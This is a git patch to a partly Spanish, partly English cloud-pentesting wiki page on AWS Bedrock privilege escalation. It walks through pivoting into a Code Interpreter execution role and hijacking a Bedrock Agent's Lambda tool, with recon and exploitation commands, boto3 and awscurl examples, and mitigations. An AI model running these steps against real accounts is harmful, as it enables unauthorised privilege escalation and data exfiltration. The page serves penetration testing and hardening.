From 7d862f4e169433a7d88bec275a864427e22d8207 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Apr 2026 08:20:53 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-bedrock-privesc/README.md | 123 ++++++++++++++---- 1 file changed, 96 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 713bcd4d5..fbc6f18c1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter es un entorno de ejecución gestionado. Los **Custom Code Interpreters** pueden configurarse con un **`executionRoleArn`** que “proporciona permisos para que el code interpreter acceda a los servicios de AWS”. +AgentCore Code Interpreter es un entorno de ejecución gestionado. Los **Custom Code Interpreters** pueden configurarse con un **`executionRoleArn`** que “proporciona permisos para que el code interpreter acceda a servicios de AWS”. -Si un **IAM principal con menos privilegios** puede **start + invoke** una sesión de Code Interpreter que está configurada con un **rol de ejecución** más privilegiado, el llamante puede efectivamente **pivotar hacia los permisos del rol de ejecución** (movimiento lateral / escalada de privilegios dependiendo del alcance del rol). +Si un **principal IAM con menos privilegios** puede **iniciar + invocar** una sesión de Code Interpreter que está configurada con un **execution role más privilegiado**, el llamador puede efectivamente **pivotar a los permisos del execution role** (lateral movement / privilege escalation según el alcance del role). > [!NOTE] -> Esto suele ser un problema de **mala configuración / permisos excesivos** (conceder amplios permisos al rol de ejecución del interpreter y/o otorgar acceso amplio para invoke). -> AWS advierte explícitamente evitar la escalada de privilegios asegurando que los roles de ejecución tengan **igual o menos** privilegios que las identidades permitidas para invocar. +> Esto suele ser un problema de **misconfiguration / excessive permissions** (conceder permisos amplios al execution role del interpreter y/o dar acceso amplio de invoke). +> AWS advierte explícitamente evitar privilege escalation asegurando que los execution roles tengan **igual o menos** privilegios que las identidades autorizadas a invocar. -#### Precondiciones (mala configuración común) +#### Preconditions (common misconfiguration) -- Existe un **custom code interpreter** con un **execution role** sobre-privilegiado (ej.: acceso a S3/Secrets/SSM sensibles o capacidades tipo IAM-admin). -- Un usuario (developer/auditor/identidad de CI) tiene permisos para: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Opcional) El usuario también puede crear interpreters: `bedrock-agentcore:CreateCodeInterpreter` (le permite crear un nuevo interpreter configurado con un execution role, dependiendo de los controles de la organización). +- Existe un **custom code interpreter** con un **execution role** excesivamente privilegiado (por ejemplo: acceso a S3/Secrets/SSM sensibles o capacidades tipo IAM-admin). +- Un usuario (developer/auditor/CI identity) tiene permisos para: +- iniciar sesiones: `bedrock-agentcore:StartCodeInterpreterSession` +- invocar tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Opcional) El usuario también puede crear interpreters: `bedrock-agentcore:CreateCodeInterpreter` (le permite crear un nuevo interpreter configurado con un execution role, según los guardrails de la organización). -#### Recon (identify custom interpreters and execution role usage) +#### Recon (identificar custom interpreters y uso de execution role) -Lista interpreters (control-plane) e inspecciona su configuración: +List interpreters (control-plane) e inspecciona su configuración: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` -> El comando create-code-interpreter admite `--execution-role-arn` que define qué permisos de AWS tendrá el intérprete. +``` +> El comando create-code-interpreter soporta `--execution-role-arn`, que define qué permisos AWS tendrá el intérprete. -#### Paso 1 - Iniciar una sesión (esto devuelve un `sessionId`, not an interactive shell) +#### Paso 1 - Iniciar una sesión (esto devuelve un `sessionId`, no un shell interactivo) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -45,9 +45,9 @@ echo "SessionId: $SESSION_ID" ``` #### Paso 2 - Invocar ejecución de código (Boto3 o HTTPS firmado) -No existe **un shell interactivo de Python** desde `start-code-interpreter-session`. La ejecución ocurre vía **InvokeCodeInterpreter**. +No hay **interactive python shell** desde `start-code-interpreter-session`. La ejecución ocurre mediante **InvokeCodeInterpreter**. -**Opción A - Ejemplo Boto3 (ejecutar Python + verificar identidad):** +**Opción A - Ejemplo de Boto3 (ejecutar Python + verificar identidad):** ```python import boto3 @@ -70,7 +70,7 @@ print(event) ``` Si el intérprete está configurado con un execution role, la salida de `sts:GetCallerIdentity()` debería reflejar la identidad de ese role (no la del low-priv caller), demostrando el pivot. -**Opción B - Llamada HTTPS firmada (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,20 +87,88 @@ awscurl -X POST \ } }' ``` +#### Impact + +* **Lateral movement** into whatever AWS access the interpreter execution role has. +* **Privilege escalation** if the interpreter execution role is more privileged than the caller. +* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration). + +#### Mitigations / Hardening + +* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions. +* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary). +* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation. + +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**. + +> [!NOTE] +> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent. + +#### Preconditions (common misconfiguration) + +- A Bedrock Agent exists with an **action group backed by a Lambda function** +- The attacker has: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- The Lambda execution role has broader permissions than the attacker +- The attacker can identify the Lambda used by the agent + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Inspect Lambda: +```bash +aws lambda get-function --function-name +``` +#### Explotación + +Reemplazar el código de Lambda: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Ejemplo de payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +Trigger via agent: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` #### Impacto -* **Movimiento lateral** hacia cualquier acceso de AWS que tenga el rol de ejecución del interpreter. -* **Escalada de privilegios** si el rol de ejecución del interpreter tiene más privilegios que el llamador. -* Detección más difícil si los eventos de datos de CloudTrail para las invocaciones del interpreter no están habilitados (las invocaciones pueden no registrarse por defecto, dependiendo de la configuración). +* **Privilege escalation** en Lambda execution role +* **Exfiltración de datos** desde AWS services +* **Abuse** entre servicios mediante ejecución de trusted agent -#### Mitigaciones / Endurecimiento +#### Mitigations -* **Privilegios mínimos** en el `executionRoleArn` del interpreter (trátalo como los roles de ejecución de Lambda / roles de CI). -* **Restringir quién puede invocar** (`bedrock-agentcore:InvokeCodeInterpreter`) y quién puede iniciar sesiones. -* Usar **SCPs** para denegar InvokeCodeInterpreter, excepto para roles de runtime de agent aprobados (puede ser necesaria la aplicación a nivel de organización). -* Habilitar los **eventos de datos de CloudTrail** apropiados para AgentCore cuando corresponda; generar alertas sobre invocaciones inesperadas y creación de sesiones. +* **Restringir** `lambda:UpdateFunctionCode` +* Usar roles Lambda de **least-privilege** +* **Monitor** cambios de código de Lambda +* **Auditar** el uso de tools del Bedrock agent -## Referencias +## References - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}